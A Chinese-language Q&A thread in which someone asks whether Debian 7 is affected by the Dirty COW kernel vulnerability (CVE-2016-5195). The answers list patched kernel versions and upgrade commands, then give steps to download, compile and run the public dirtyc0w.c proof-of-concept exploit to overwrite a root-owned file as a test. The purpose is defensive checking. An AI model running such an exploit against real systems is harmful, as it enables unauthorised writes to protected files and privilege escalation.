如何确保我的操作系统不受 CVE-2016-5195 (Dirty COW) 的影响?

信息安全 linux 脏牛
2021-09-09 01:46:37

我正在运行以下版本的 Linux 操作系统。

Distributor ID: Debian
Description:    Debian GNU/Linux 7.2 (wheezy)
Release:        7.2
Codename:       wheezy

我不确定这个版本是否受CVE-2016-5195影响

有人可以帮我解决我的疑问吗?

更新:运行AliCelebi提到的命令后,我得到以下信息

3.2.28-cerberhost-0.6-modules-grsec 
2个回答

您可以uname -rv找到您的 Linux 内核版本。您将获得类似于以下的输出:

4.4.0-42-generic #62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016

如果您的版本早于以下版本,您将受到影响:

  • 4.8.0-26.28 用于 Ubuntu 16.10

  • 4.4.0-45.66 用于 Ubuntu 16.04 LTS

  • 3.13.0-100.147 用于 Ubuntu 14.04 LTS

  • 3.2.0-113.155 用于 Ubuntu 12.04 LTS

  • 3.16.36-1+deb8u2 用于 Debian 8

  • 3.2.82-1 用于 Debian 7

  • Debian 不稳定版 4.7.8-1

根据security-tracker.debian,您需要运行uname -a并验证您当前的内核版本。

wheezy  3.2.78-1                        vulnerable
wheezy (security)   3.2.82-1            fixed
jessie  3.16.36-1+deb8u1                vulnerable
jessie (security)   3.16.36-1+deb8u2    fixed
stretch, sid    4.7.8-1                 fixed

此漏洞已在 debian 下通过升级您的系统进行修补:

apt-get update
apt-get upgrade
apt-get dist-upgrade

编辑

如何确保我的操作系统不受 CVE-2016-5195 影响?

你可以试试下面的教程。

下载漏洞利用。

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

以 root 身份:创建foo文件:

su
echo this is not a test > foo

作为用户:

gcc -lpthread dirtyc0w.c -o dirtyc0w
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000

验证您的文件:

cat foo

在易受攻击的机器上,您将获得m00000000000000000输出。